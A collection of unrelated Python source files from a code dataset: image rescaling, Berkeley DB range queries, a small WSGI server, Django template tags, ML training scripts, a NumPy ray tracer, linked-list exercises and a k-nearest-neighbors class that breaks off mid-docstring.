+{"seq_id":"20639056","text":"import os\nimport numpy as np\nimport glob\nfrom skimage import io, transform\nfrom tqdm import tqdm\nimport math\nimport random\nimport torch\nimport multiprocessing\n\nOUTPUT_RESOLUTION = 128\nROTATE = True\n\n@torch.no_grad()\ndef get_rotation_angle(image):\n    image = transform.resize(image, (64, 64), preserve_range=True)\n    image = torch.tensor(image.transpose((2, 0, 1)), dtype=torch.float32, device=device).unsqueeze(0) / 255\n    result = network(image).squeeze()\n    return -math.degrees(math.atan2(result[0], result[1]))\n\ndef clip_image(image):\n    WHITE_THRESHOLD = 0.95\n    coords = ((image[:, :, 0] < WHITE_THRESHOLD) | (image[:, :, 1] < WHITE_THRESHOLD) | (image[:, :, 2] < WHITE_THRESHOLD)).nonzero()\n    top_left = np.min(coords, axis=1)\n    bottom_right = np.max(coords, axis=1)\n    image = image[top_left[0]:bottom_right[0], top_left[1]:bottom_right[1], :]\n    new_size = np.max(bottom_right - top_left)\n    result = np.ones((new_size, new_size, 3), dtype=np.float32)\n    x, y = (new_size - image.shape[0]) // 2, (new_size - image.shape[1]) // 2\n    result[x:x+image.shape[0], y:y+image.shape[1], :] = image\n    return result\n\ndef get_result_file_name(hash):\n    return 'data/images{:s}_{:d}/{:s}.jpg'.format('_rotated' if ROTATE else '', OUTPUT_RESOLUTION, hash)\n\ndef handle_image(hash, angle):\n    try:\n        image = io.imread('data/images_alpha/{:s}.png'.format(hash))\n        image = image[:, :, :3]\n\n        if angle is not None:\n            image = transform.rotate(image, angle, resize=True, clip=True, mode='constant', cval=1)\n            image = clip_image(image) * 255\n\n        image = transform.resize(image, (OUTPUT_RESOLUTION, OUTPUT_RESOLUTION), preserve_range=True).astype(np.uint8)\n        io.imsave(get_result_file_name(hash), image)\n    except:\n        print(\"Error while handling {:s}\".format(hash))\n        traceback.print_exc()\n\nif __name__ == '__main__':\n    if ROTATE:\n        from rotation_network import RotationNetwork\n        device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n        NETWORK_FILENAME = 'trained_models/rotation.to'\n        network = RotationNetwork()\n        network.load_state_dict(torch.load(NETWORK_FILENAME))\n        network.cuda()\n        network.eval()\n\n    file_names = glob.glob('data/images_alpha/**.png', recursive=True)\n    random.shuffle(file_names)\n\n    worker_count = os.cpu_count()\n    print(\"Using {:d} processes.\".format(worker_count))\n    context = multiprocessing.get_context('spawn')\n    pool = context.Pool(worker_count)\n\n    progress = tqdm(total=len(file_names))\n\n    def on_complete(*_):\n        progress.update()\n\n    for file_name in file_names:\n        hash = file_name.split('/')[-1][:-4]\n        \n        if os.path.exists(get_result_file_name(hash)):\n            progress.update()\n            continue\n\n        if ROTATE:\n            try:\n                image = io.imread(file_name)\n                angle = get_rotation_angle(image[:, :, :3])\n            except KeyboardInterrupt:\n                break\n            except:\n                print((\"Error while loading {:s}\".format(file_name)))\n                progress.update()\n                continue\n        else:\n            angle = None\n\n        pool.apply_async(handle_image, args=(hash, angle), callback=on_complete)\n\n    pool.close()\n    pool.join()","sub_path":"scale_images.py","file_name":"scale_images.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"531081484","text":"import bsddb3 as bsddb\nimport time\n\ndef hashTableQ3():\n    answers = open('answers', 'a')\n    iKey1 = input(\"Input first Key: \")\n    iKey1 = iKey1.encode(encoding='UTF-8')\n    iKey2 = input(\"Input second Key: \")\n    iKey2 = iKey2.encode(encoding='UTF-8')    \n    start_time_hDB = time.time()\n    HT_FILE = \"/tmp/aredmond_db/hashtable\"\n    try:\n        hDB = bsddb.hashopen(HT_FILE, \"r\")\n    except:\n        print(\"DB doesn't exist.\")\n        return 0\n    hNumRecords = 0\n    try:\n        item1 = hDB.set_location(iKey1)\n        item2 = hDB.set_location(iKey2)\n    except: \n        print(\"At least one key does not exist.\")\n        return 0        \n    currentItem = hDB.first()\n    for i in range(1, len(hDB)):       \n        if(item1[0] <= item2[0]):\n            if(item1[0] <= currentItem[0] and currentItem[0] <= item2[0]):\n                answers.write(currentItem[0].decode('UTF-8'))\n                answers.write(\"\\n\")\n                answers.write(currentItem[1].decode('UTF-8'))\n                answers.write(\"\\n\")\n                answers.write(\"\\n\")\n                hNumRecords += 1                \n            currentItem = hDB.next()\n        else:\n            if(item2[0] <= currentItem[0] and currentItem[0] <= item1[0]):\n                answers.write(currentItem[0].decode('UTF-8'))\n                answers.write(\"\\n\")\n                answers.write(currentItem[1].decode('UTF-8'))\n                answers.write(\"\\n\")\n                answers.write(\"\\n\")\n                hNumRecords += 1                \n            currentItem = hDB.next()\n    answers.close()\n    hDB.close()\n    end_time_hDB = time.time()\n    print(\"Number of Records Retrieved: {}\".format(hNumRecords))        \n    print(\"--- {} microseconds ---\".format((end_time_hDB - start_time_hDB) * 1000000))\n    \ndef bTreeQ3():\n    answers = open('answers', 'a')\n    iKey1 = input(\"Input first Key: \")\n    iKey1 = iKey1.encode(encoding='UTF-8')\n    iKey2 = input(\"Input second Key: \")\n    iKey2 = iKey2.encode(encoding='UTF-8')    \n    start_time_bDB = time.time()\n    BT_FILE = \"/tmp/aredmond_db/btree\"\n    try:\n        bDB = bsddb.btopen(BT_FILE, \"r\")\n    except:\n        print(\"DB doesn't exist.\")\n        return 0  \n    bNumRecords = 0\n    try:\n        item1 = bDB.set_location(iKey1)\n        item2 = bDB.set_location(iKey2)\n    except:\n        print(\"At least one key does not exist.\")\n        return 0\n    if(item1[0] <= item2[0]):\n        currentItem = bDB.set_location(iKey1)\n        while True:\n            answers.write(currentItem[0].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(currentItem[1].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(\"\\n\")\n            bNumRecords += 1\n            if(currentItem[0] == item2[0]):\n                break\n            else:\n                currentItem = bDB.next()\n    else:\n        currentItem = bDB.set_location(iKey2)\n        while True:\n            answers.write(currentItem[0].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(currentItem[1].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(\"\\n\")\n            bNumRecords += 1\n            if(currentItem[0] == item1[0]):\n                break\n            else:\n                currentItem = bDB.next()        \n    answers.close()\n    bDB.close()\n    end_time_bDB = time.time()\n    print(\"Number of Records Retrieved: {}\".format(bNumRecords))            \n    print(\"--- {} microseconds ---\".format((end_time_bDB - start_time_bDB) * 1000000))\n    \ndef indexFileQ3():\n    answers = open('answers', 'a')\n    iKey1 = input(\"Input first Key: \")\n    iKey1 = iKey1.encode(encoding='UTF-8')\n    iKey2 = input(\"Input second Key: \")\n    iKey2 = iKey2.encode(encoding='UTF-8')    \n    start_time_iDB = time.time()\n    I3_FILE = \"/tmp/aredmond_db/indexFile3\"\n    try:\n        iDB = bsddb.btopen(I3_FILE, \"r\")\n    except:\n        print(\"DB doesn't exist.\")\n        return 0\n    iNumRecords = 0\n    try:\n        item1 = iDB.set_location(iKey1)\n        item2 = iDB.set_location(iKey2)\n    except:\n        print(\"At least one key does not exist.\")\n        return 0\n    if(item1 <= item2):\n        currentItem = iDB.set_location(iKey1)\n        while True:\n            answers.write(currentItem[0].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(currentItem[1].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(\"\\n\")\n            iNumRecords += 1\n            if(currentItem[0] == item2[0]):\n                break\n            else:\n                currentItem = iDB.next()\n    else:\n        currentItem = iDB.set_location(iKey2)\n        while True:\n            answers.write(currentItem[0].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(currentItem[1].decode('UTF-8'))\n            answers.write(\"\\n\")\n            answers.write(\"\\n\")\n            iNumRecords += 1\n            if(currentItem[0] == item1[0]):\n                break\n            else:\n                currentItem = iDB.next()        \n    answers.close()\n    iDB.close()\n    end_time_iDB = time.time()\n    print(\"Number of Records Retrieved: {}\".format(iNumRecords))            \n    print(\"--- {} microseconds ---\".format((end_time_iDB - start_time_iDB) * 1000000))\n    \ndef Query3(instruction):\n    instruction = int(instruction)\n    if(instruction == 1):\n        hashTableQ3()\n        print(\"Hash Table Key Range Search.\")\n    elif(instruction == 2):\n        bTreeQ3()\n        print(\"B-Tree Key Range Search.\")\n    elif(instruction == 3):\n        indexFileQ3()\n        print(\"Index File Range Search.\")\n\n ","sub_path":"Query3.py","file_name":"Query3.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"642339623","text":"import json\nfrom wsgiref.simple_server import make_server\n# 导入我们自己编写的application函数:\n\n# 创建一个服务器，IP地址为空，端口是8000，处理函数是application:\n\ndef application(environ, start_response):\n    start_response('401 OK', [('Content-Type', 'application/json')])\n    return ['{\"wang\":\"tianyi\"}'.encode('utf-8'),]\n\n\nhttpd = make_server('', 8630, application)\nprint(\"Serving HTTP on port 8630...\")\n# 开始监听HTTP请求:\nhttpd.serve_forever()\n","sub_path":"computerNetwork/guniconrTest/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"626597300","text":"from django import template\nfrom ..models import Post\nfrom django.db.models import Count\nfrom django.utils.safestring import mark_safe\nimport markdown\nregister = template.Library()\n\n#filters can be called in html\n#{{variable|my_filter:\"foo\"}}\n\n@register.filter(name='markdown')\ndef markdown_format(text):\n    return mark_safe(markdown.markdown(text))\n\n\n#tag that works like a calculated variable\n@register.simple_tag\ndef total_posts():\n    return Post.published.count()\n\n#tag that renders a template with the calculated returned object\n@register.inclusion_tag('blog/post/latest_posts.html')\ndef show_latest_posts(count=5):\n    latest_posts = Post.published.order_by('-publish')[:count]\n    return {'latest_posts':latest_posts}\n\n#simple tags with argument can be called in html as\n# {% get_most_commented_posts 3 as most_commented_posts %}\n@register.simple_tag()\ndef get_most_commented_posts(count=1):\n    most_commented_posts = Post.published.annotate(total_comments=Count('comments')).order_by('-total_comments')[:count]\n    return most_commented_posts\n","sub_path":"blog/templatetags/blog_tags.py","file_name":"blog_tags.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"595501916","text":"import os\r\nfrom util import Util\r\nutil = Util()\r\nimport pandas as pd\r\nimport pickle\r\n#os.chdir(\"E://Study//GitLab//SMS_Classification//data//training_data.csv\")\r\n\r\ntraining_data = pd.read_csv(\"E://Study//GitLab//SMS_Classification//data//training_data.csv\",encoding=\"utf-8\")\r\n#util.show_column_names(training_data)\r\n\r\ntraining_data[\"message\"] = training_data[\"message\"].apply(util.clean_message)\r\n\r\ntraining_data = util.label_encode(training_data,\"category\")\r\n#print(training_data.head())\r\n\r\ntraining_data[\"message\"] = training_data[\"message\"].str.lower()\r\n\r\ntraining_data,cv,cv_vocab = util.text_features(training_data,\"message\")\r\nsrc_path = os.chdir(\"E://Study//GitLab//SMS_Classification//src//\")\r\n#text_vectorizer_path = os.path.join(src_path,'text_vectorizer.pkl')\r\npickle.dump(cv_vocab,open(\"E://Study//GitLab//SMS_Classification//src//text_vectorizer_path.pkl\",'wb'))\r\n\r\nX_train,X_test,y_train,y_test = util.train_test_split(training_data,cv)\r\n\r\nmodel = util.train_model(X_train,y_train)\r\n#model_path = os.path.join(src_path,'model.pkl')\r\npickle.dump(model,open(\"E://Study//GitLab//SMS_Classification//src//model.pkl\",'wb'))\r\n\r\ny_pred = util.predict(X_test,model)\r\n\r\nclassification_report = util.classify_report(y_test,y_pred)\r\nprint(classification_report)\r\n","sub_path":"SMS_Classification/src/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"271258295","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom linearRegression.linearRegression import LinearRegression\nfrom metrics import *\n\nX = pd.read_excel(\"Real_estate_data.xlsx\")\nX = X.drop(['No'], axis=1)\nX.columns = ['trans_date', 'house_age',\n       'dist_2_MRT',\n       'num_stores', 'lat', 'longi',\n       'price_per_unit_area']\ny = X['price_per_unit_area'].reset_index(drop=True)\nX = X.drop(['price_per_unit_area'], axis=1).reset_index(drop=True)\nX.reset_index(drop=True)\ny.reset_index(drop=True)\n\nprint('===========================================================================')\nprint('Linear regression on real estate data')\nprint(\"===========================================================================\")\nl = X.shape[0]\nl1 = X.shape[0]//5\ny_hat = []\nfor fit_intercept in [True, False]:\n    print('===============================================')\n    print('fit_intercept : '+str(fit_intercept))\n    print('===============================================')\n    for i in range(5):\n        X1 = X\n        y1 = y\n        Xtest = X1.loc[l1*i:l1*(i+1)-1].reset_index(drop=True)\n        ytest = y1.loc[l1*i:l1*(i+1)-1].reset_index(drop=True)\n        Xtrain = X1.drop([i for i in range(l1*i,l1*(i+1))]).reset_index(drop=True)\n        ytrain = y1.drop([i for i in range(l1*i,l1*(i+1))]).reset_index(drop=True)\n        LR = LinearRegression(fit_intercept=fit_intercept)\n        LR.fit(Xtrain, ytrain)\n        y_hat1 = LR.predict(Xtrain)\n        y_hat = LR.predict(Xtest)\n        LR.fit(Xtest,ytest)\n        fig = LR.plot_residuals(i+1)\n        print('-------------------------------')\n        print('errors for fold '+str(i+1))\n        print('-------------------------------')\n        y_hat = pd.Series(y_hat)\n        print('MAE on train data : ', mae(y_hat1, ytrain))\n        print('MAE on test data : ', mae(y_hat, ytest))\nplt.show()","sub_path":"linear_regression_realestate.py","file_name":"linear_regression_realestate.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"8735106","text":"from django.urls import path\nfrom .import views\n\nurlpatterns = [\n    path(\"\", views.shopperProductsShow, name= 'shopperProductsShow'),\n    path(\"delete/<int:id>\", views.productDelete, name= 'productDelete'),\n    path(\"deleteTop/<int:id>\", views.deleteTop, name= 'deleteTop'),\n    path(\"update/<int:id>\", views.productUpdate, name= 'productUpdate'),\n    path(\"topProducts/<int:id>\", views.topProduct, name= 'topProduct'),\n    path(\"shopEvent\", views.shop_Event, name= 'shop_Event'),\n    path(\"shopEventDelet/<int:id>\", views.deleteEvent, name= 'deleteEvent'),\n    # path(\"shopAdmin/\", views.topProductShow, name= 'topProductShow'),\n]\n","sub_path":"testo_shop/shopAdmin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"306189925","text":"\"\"\"\nMIT License\n\nCopyright (c) 2017 Cyrille Rossant\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import sqrt, tan, radians\n\n\n# rendered image size\nw = 1280\nh = 720\n\n\ndef normalize(x):\n    x /= np.linalg.norm(x)\n    return x\n\n\ndef intersect_plane(ray_org, ray_dir, plane_point, plane_norm):\n    # Return the distance from 'ray_org' to the intersection of the ray with the\n    # plane, or +inf if there is no intersection.\n    # 'ray_org' and 'plane_point' are 3D points, 'ray_dir' and 'plane_point' are normalized vectors.\n    denominator = np.dot(ray_dir, plane_norm)\n    if np.abs(denominator) < 1e-6:\n        return np.inf\n    d = np.dot(plane_point - ray_org, plane_norm) / denominator\n    if d < 0:\n        return np.inf\n    return d\n\n\ndef intersect_sphere(ray_org, ray_dir, sphere_center, sphere_radius):\n    # Return the distance from 'ray_org' to the intersection of the ray with the\n    # sphere, or +inf if there is no intersection.\n    # 'ray_org' and 'sphere_center' are 3D points, 'ray_dir' is a normalized vector, sphere_radius is a scalar.\n    a = np.dot(ray_dir, ray_dir)\n    center2org = ray_org - sphere_center\n    b = 2 * np.dot(ray_dir, center2org)\n    c = np.dot(center2org, center2org) - sphere_radius * sphere_radius\n    disc = b * b - 4 * a * c\n    if disc > 0:\n        dist_sqrt = np.sqrt(disc)\n        q = (-b - dist_sqrt) / 2.0 if b < 0 else (-b + dist_sqrt) / 2.0\n        t0 = q / a\n        t1 = c / q\n        t0, t1 = min(t0, t1), max(t0, t1)\n        if t1 >= 0:\n            return t1 if t0 < 0 else t0\n    return np.inf\n\n\ndef intersect(ray_org, ray_dir, obj):\n    if obj['type'] == 'plane':\n        return intersect_plane(ray_org, ray_dir, obj['position'], obj['normal'])\n    elif obj['type'] == 'sphere':\n        return intersect_sphere(ray_org, ray_dir, obj['position'], obj['radius'])\n\n\ndef get_normal(obj, obj_point):\n    # Find normal.\n    norm = np.zeros(3)\n    if obj['type'] == 'sphere':\n        norm = normalize(obj_point - obj['position'])\n    elif obj['type'] == 'plane':\n        norm = obj['normal']\n    return norm\n\n\ndef get_color(obj, obj_point):\n    color = obj['color']\n    if not hasattr(color, '__len__'):\n        color = color(obj_point)\n    return color\n\n\ndef trace_ray(ray_org, ray_dir):\n    # Find first point of intersection with the scene.\n    t = np.inf\n    obj_idx = 0\n    for i, obj in enumerate(scene):\n        t_obj = intersect(ray_org, ray_dir, obj)\n        if t_obj < t:\n            t, obj_idx = t_obj, i\n    # Return None if the ray does not intersect any object.\n    if t == np.inf:\n        return\n\n    # Find the object.\n    obj = scene[obj_idx]\n    # Find the point of intersection on the object.\n    obj_point = ray_org + ray_dir * t\n    # Find properties of the object.\n    normal = get_normal(obj, obj_point)\n    color = get_color(obj, obj_point)\n    to_light = normalize(L - obj_point)\n    to_camera = normalize(camera_pos - obj_point)\n\n    # Shadow: find if the point is shadowed or not.\n    intersected_t = [intersect(obj_point + normal * .0001, to_light, obj_sh)\n                     for k, obj_sh in enumerate(scene) if k != obj_idx]\n    if intersected_t and min(intersected_t) < np.inf:\n        return  # wicked not though ambient lighting bro\n\n    # Start computing the color.\n    col_ray = ambient\n    # Lambert shading (diffuse).\n    col_ray += obj.get('diffuse_c', diffuse_c) * max(np.dot(normal, to_light), 0) * color\n    # Blinn-Phong shading (specular).\n    col_ray += obj.get('specular_c', specular_c) * max(np.dot(normal, normalize(to_light + to_camera)), 0) ** specular_k * color_light\n    return obj, obj_point, normal, col_ray\n\n\ndef add_sphere(position, radius, color):\n    return dict(type='sphere', position=np.array(position),\n                radius=np.array(radius), color=np.array(color),\n                reflection=0.5, refraction=0.5, ior=1.5)\n\n\ndef add_plane(position, normal):\n    return dict(type='plane', position=np.array(position),\n                normal=np.array(normal),\n                color=lambda obj_point: (color_plane_0\n                                         if (int(obj_point[0] * 2) % 2) == (int(obj_point[2] * 2) % 2)\n                                         else color_plane_1),\n                diffuse_c=0.75, specular_c=0.5, reflection=0.25, refraction=0, ior=1)\n\n\n# List of objects.\ncolor_plane_0 = np.ones(3)\ncolor_plane_1 = np.zeros(3)\nscene = [add_sphere([0.75, 0.1, 1.0], 0.6, [0.0, 0.0, 1.]),\n         add_sphere([-0.75, 0.1, 2.25], 0.6, [0.5, 0.223, 0.5]),\n         add_sphere([-2.75, 0.1, 3.5], 0.6, [1.0, 0.572, 0.184]),\n         add_plane([0.0, -0.5, 0.0], [0.0, 1., 0.0])]\n\n# Light position and color.\nL = np.array([5.0, 5.0, -10.0])\ncolor_light = np.ones(3)\n\n# Default light and material parameters.\nambient = 0.05\ndiffuse_c = 1.0\nspecular_c = 1.0\nspecular_k = 50\n\ndepth_max = 2  # Maximum number of light reflections.\ncol = np.zeros(3)  # Current color.\nbackground_col = (0, 0, 0)\n\n# allocate image buffer\nimg = np.zeros((h, w, 3))\n\n# define camera position and orientation\ncamera_pos = np.array([0.0, 0.35, -1.])  # Camera position\ncamera_look_at = np.array([0.0, 0.0, 0.0])  # Camera look at\ncamera_forward = normalize(camera_look_at - camera_pos)\ncamera_up = np.array([0.0, 1.0, 0.0])\n\n# calculate camera right and exact camera up\ncamera_right = np.cross(camera_forward, camera_up)\ncamera_up = np.cross(camera_right, camera_forward)\n\n# define projection plane\nproj_dist = 1\nfov = 90\n\naspect_ratio = float(h) / w\nproj_w = 2 * tan(radians(fov / 2)) * proj_dist\nproj_h = proj_w * aspect_ratio\n\nproj_center = camera_pos + camera_forward * proj_dist\nproj_lower_left = proj_center - camera_right * proj_w / 2 - camera_up * proj_h / 2\nproj_upper_right = proj_center + camera_right * proj_w / 2 + camera_up * proj_h / 2\n\n\ndef fresnel(ray_dir, obj_norm, ior):\n    cos_i = np.clip(np.dot(ray_dir, obj_norm), -1, 1)\n    eta_i = 1\n    eta_t = ior\n    if cos_i > 0:\n        eta_i, eta_t = eta_t, eta_i\n    # Compute sin_е using Snell's law\n    sin_t = eta_i / eta_t * sqrt(max(0., 1 - cos_i * cos_i))\n    # Total internal reflection\n    if sin_t >= 1:\n        kr = 1\n    else:\n        cos_t = sqrt(max(0., 1 - sin_t * sin_t))\n        cos_i = abs(cos_i)\n        r_s = ((eta_t * cos_i) - (eta_i * cos_t)) / ((eta_t * cos_i) + (eta_i * cos_t))\n        r_p = ((eta_i * cos_i) - (eta_t * cos_t)) / ((eta_i * cos_i) + (eta_t * cos_t))\n        kr = (r_s * r_s + r_p * r_p) / 2\n    return kr\n\n\ndef reflect(ray_dir, obj_norm):\n    return ray_dir - 2 * np.dot(ray_dir, obj_norm) * obj_norm\n\n\ndef refract(ray_dir, obj_norm, ior):\n    cos_i = np.clip(np.dot(ray_dir, obj_norm), -1, 1)\n    eta_i = 1.\n    eta_t = ior\n    n = obj_norm\n\n    if cos_i < 0:\n        cos_i = -cos_i\n    else:\n        eta_i, eta_t = eta_t, eta_i\n        n = -obj_norm\n\n    eta = eta_i / eta_t\n    k = 1 - eta * eta * (1 - cos_i * cos_i)\n    if k < 0:\n        return np.zeros((3,))\n    return eta * ray_dir + (eta * cos_i - sqrt(k)) * n\n\n\ndef cast_ray(ray_org, ray_dir, depth=0):\n    if depth > depth_max:\n        return background_col\n\n    traced = trace_ray(ray_org, ray_dir)\n    if traced:\n        obj, obj_point, obj_norm, col_ray = traced\n        # compute fresnel\n        kr = fresnel(ray_dir, obj_norm, obj.get(\"ior\", 1))\n        outside = np.dot(ray_dir, obj_norm) < 0\n        bias = 0.001 * obj_norm\n        # compute refraction if it is not a case of total internal reflection\n        if kr < 1:\n            refr_dir = refract(ray_dir, obj_norm, obj.get(\"ior\", 1))\n            refr_dir /= max(abs(refr_dir))\n            refr_org = obj_point - bias if outside else obj_point + bias\n            refr_col = cast_ray(refr_org, refr_dir, depth + 1)\n        else:\n            refr_col = np.zeros((3,))\n\n        refl_dir = reflect(ray_dir, obj_norm)\n        refl_dir /= max(abs(refl_dir))\n        refl_org = obj_point + bias if outside else obj_point - bias\n        refl_col = cast_ray(refl_org, refl_dir, depth + 1)\n\n        # mix object color with reflected and refracted components\n        hit_col = col_ray\n        hit_col += np.multiply(obj.get(\"reflection\", 1), refl_col)\n        fresnel_col = np.multiply(kr, refl_col) + np.multiply(1 - kr, refr_col)\n        hit_col += np.multiply(obj.get(\"refraction\", 1), fresnel_col)\n        return hit_col\n\n    return background_col\n\n\n# Loop through all pixels.\nfor i, x in enumerate(np.linspace(proj_lower_left[0], proj_upper_right[0], w)):\n    if i % 10 == 0:\n        print(i / float(w) * 100, \"%\")\n\n    for j, y in enumerate(np.linspace(proj_lower_left[1], proj_upper_right[1], h)):\n        col[:] = 0\n        col_refl = np.zeros_like(col)\n        col_refr = np.zeros_like(col)\n        camera_look_at[:2] = (x, y)\n        camera_forward = normalize(camera_look_at - camera_pos)\n\n        reflection = 1.0\n        refraction = 1.0\n\n        # cast initial ray\n        col += cast_ray(camera_pos, camera_forward)\n\n        img[h - j - 1, i, :] = np.clip(col, 0, 1)\n\nplt.imsave('fig.png', img)\n","sub_path":"raytracing.py","file_name":"raytracing.py","file_ext":"py","file_size_in_byte":9964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"250656395","text":"'''\nThis file is required to perform plotting server related tests. Its purpose is to be executed in a seperate process or on a remote machine, automatically.\n'''\n\n\n\nfrom __future__ import print_function\nimport sys\nimport atexit\nimport time\ndef function():\n    i = 1\n    while i<10:\n        print(i, file=sys.stderr)\n        sys.stderr.flush()\n        time.sleep(1.0)\n        i +=1\n\n\ndef atexit_function():\n    print(\"atexit called\")\n    sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    atexit.register(atexit_function)\n    function()","sub_path":"artemis/remote/bogus_test_functions.py","file_name":"bogus_test_functions.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"111890180","text":"#find merge point using approach 2 (Order n)\nclass Node:\n    def __init__(Node,data):\n        Node.data=data\n        Node.next=None\n\ndef merge_singly_list2(head1,head2):\n    loopExist = 0\n    fast = head1\n    slow = head1\n    temp2=head2\n    while(temp2.next!=None):\n        temp2=temp2.next\n    lastNode=temp2\n    temp2.next=head2\n    while (fast != None and slow != None and fast.next != None):\n        fast = fast.next.next\n        slow = slow.next\n        if (fast == slow):\n            loopExist = 1\n            break\n    if (loopExist):\n        slow = head1\n        while (slow != fast):\n            slow = slow.next\n            fast = fast.next\n        lastNode.next=None\n        return slow.data\n    return None\n\n\n\nhead1 = Node(1)\nnodeB = Node(2)\nnodeC = Node(3)\nnodeD = Node(4)\nnodeE = Node(5)\nnodeF = Node(6)\nnodeG = Node(7)\nnodeH = Node(8)\nhead2 = Node(11)\nnodeI = Node(18)\nnodeJ = Node(20)\n\n\nhead1.next = nodeB\nnodeB.next = nodeC\nnodeC.next = nodeD\nnodeD.next = nodeE\nnodeE.next = nodeF\nnodeF.next = nodeG\nnodeG.next = nodeH\nhead2.next = nodeI\nnodeI.next = nodeJ\nnodeJ.next = nodeE\n\ndata=merge_singly_list2(head1,head2)\nprint(data)\n","sub_path":"Linkedlispractic6.py","file_name":"Linkedlispractic6.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"595317540","text":"from math import sqrt\nfrom random import choice\n\n\nclass KNearestNeighbors:\n    \"\"\"Supervised machine learning algorithms that, given a new instance, find\n    the k nearest neighbors based on euclidean distance.\n\n    Attributes\n    ----------\n    k: int\n        Number of nearest neighbors to be used to calculate the majority vote.\n    train: list\n        Training data as a part of the model.\n    train_labels: list\n        Training labels as a part of the model.\"\"\"\n\n    def __init__(self, k):\n        self.k = k\n        self.train = list()\n        self.train_labels = list()\n\n    def euclidean_distance(self, inst1, inst2):\n        \"\"\"Calculates the euclidean distance between two instances.\n\n        Parameters\n        ----------\n        inst1: list\n            Test instance to be measured.\n        inst2: list\n            Training instance to be measured.\n\n        Returns\n        -------\n        list\n            Euclidean distance.\"\"\"\n\n        dist = 0\n        for i in range(len(inst1)):\n            dist += (inst1[i] - inst2[i])**2\n\n        return sqrt(dist)\n\n    def neighbors(self, test_inst):\n        \"\"\"Generates the neighbors of an unseen instance based on euclidean\n        distance.\n\n        Parameters\n        ----------\n        test_inst: list\n            Test instance.\n\n        Returns\n        -------\n        list\n            Neighbors in asceding order based on euclidean distance.\"\"\"\n\n        neighbors = list()\n\n        for idx, train_inst in enumerate(self.train):\n            dist = self.euclidean_distance(test_inst, train_inst)\n            neighbors.append([dist, self.train_labels[idx]])\n\n        return sorted(neighbors, key=lambda x: x[0])\n\n    def nearest(self, neighbors):\n        \"\"\"Finds the k nearest neighbors.\n\n        Parameters\n        ----------\n        neighbors: list\n            Ordered neighbors.\n\n        Returns\n        -------\n        list\n            k nearest neighbors.\"\"\"\n\n        return neighbors[:self.k]\n\n    def votes(self, nearest_neighbors):\n        \"\"\"Calculates the votes for each class.\n\n        Parameters\n        ----------\n        nearest_neighbors: list\n            Ordered nearest neighbors.\n\n        Returns\n        -------\n        list\n            Votes in desceding ordered.\"\"\"\n\n        votes = dict()\n        for neighbor in nearest_neighbors:\n            # checks if the class already exist in the dict\n            if neighbor[-1] in votes:\n                votes[neighbor[-1]] += 1\n            else:\n                votes[neighbor[-1]] = 1\n\n        return sorted(votes.items(), key=lambda x: x[1], reverse=True)\n\n    def majority_vote(self, votes):\n        \"\"\"Finds the majority vote.\n\n        Parameters\n        ----------\n        votes: list\n            Ordered votes.\n\n        Returns\n        -------\n        str\n            Majority vote representing the class predited.\"\"\"\n\n        # skips with there is one class\n        if len(votes) > 1:\n            equal_votes = [votes.pop(0)]\n            for vote in votes[1:]:\n                # checks if next vote is equal to the greatest one\n                if equal_votes[0][1] != vote[1]:\n                    break\n                equal_votes.append(vote)\n\n            # random vote if there are more than two classes\n            return choice(equal_votes)[0]\n        return votes[0][0]\n\n    def fit(self, train, train_labels):\n        \"\"\"Fits the model in the training data.\n\n        Parameters\n        ----------\n        train: list\n            Training data to be used in the model.\n        train_labels: list\n            Training labels to be used in 